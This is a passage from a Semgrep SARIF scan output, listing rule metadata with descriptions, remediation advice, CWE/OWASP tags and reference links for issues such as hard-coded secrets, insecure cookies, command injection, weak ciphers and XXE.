hosts."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-url-host.tainted-url-host","id":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","name":"ruby.rails.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"help":{"markdown":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics, without verifying that biometric changes have not taken place. Failure to do so means that an attacker with knowledge of the victim's passcode or the ability to guess the passcode - can register their own biometrics, and bypass the authentication mechanism within the app. The application should check first that biometric changes have not been made, then proceed."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.no-verify.verify-biometric-changes","id":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","name":"swift.biometrics-and-auth.no-verify.verify-biometric-changes","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.no-verify.verify-biometric-changes"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/function_app#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your function app resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","id":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","name":"terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.functionapp.functionapp-enable-http2.functionapp-enable-http2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs.crlf-injection-logs","id":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","name":"java.servlets.security.crlf-injection-logs.crlf-injection-logs","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs.crlf-injection-logs"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.secure-false.secure-false","id":"java.micronaut.audit.cookies.secure-false.secure-false","name":"java.micronaut.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.httponly-false.httponly-false","id":"java.micronaut.audit.cookies.httponly-false.httponly-false","name":"java.micronaut.audit.cookies.httponly-false.httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.httponly-false.httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","id":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","name":"python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.couchbase.python-couchbase-empty-password.python-couchbase-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/os/exec](https://pkg.go.dev/os/exec)\n - [https://pkg.go.dev/syscall#Exec](https://pkg.go.dev/syscall#Exec)\n - [https://semgrep.dev/docs/cheat-sheets/go-command-injection/](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. In Go, it is possible to use the `exec.Command` function in combination with the `bash -c` command to run the user input as a shell command. To sanitize the user input, you can use a library like `shellescape` to escape any special characters before constructing the command. For more information, see: [Go command injection prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","id":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","name":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"help":{"markdown":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked](https://crypto.stackexchange.com/questions/87278/why-dont-we-use-blowfish-if-it-hasnt-been-cracked)\n","text":"The use of the insecure Blowfish encryption algorithm was detected. Blowfish uses a 64-bit block size that makes it vulnerable to birthday attacks, and is therefore considered unfit for purpose. "},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","id":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","name":"swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-blowfish.insecure-crypto-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"help":{"markdown":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"helpUri":"https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","id":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","name":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","id":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","name":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule has been deprecated."},"help":{"markdown":"This rule has been deprecated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"This rule has been deprecated."},"helpUri":"https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint","id":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","name":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.ssrf.http-ssrf-taint.http-ssrf-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n","text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","id":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","name":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"help":{"markdown":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib)\n","text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib","id":"python.lang.compatibility.python37.python37-compatibility-importlib","name":"python.lang.compatibility.python37.python37-compatibility-importlib","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"help":{"markdown":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie)\n - [https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie](https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie)\n - [https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/](https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/)\n - [https://bento.dev/checks/flask/secure-set-cookie/](https://bento.dev/checks/flask/secure-set-cookie/)\n","text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie","id":"python.django.security.audit.secure-cookies.django-secure-set-cookie","name":"python.django.security.audit.secure-cookies.django-secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.secure-cookies.django-secure-set-cookie"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","id":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","name":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","id":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","name":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE 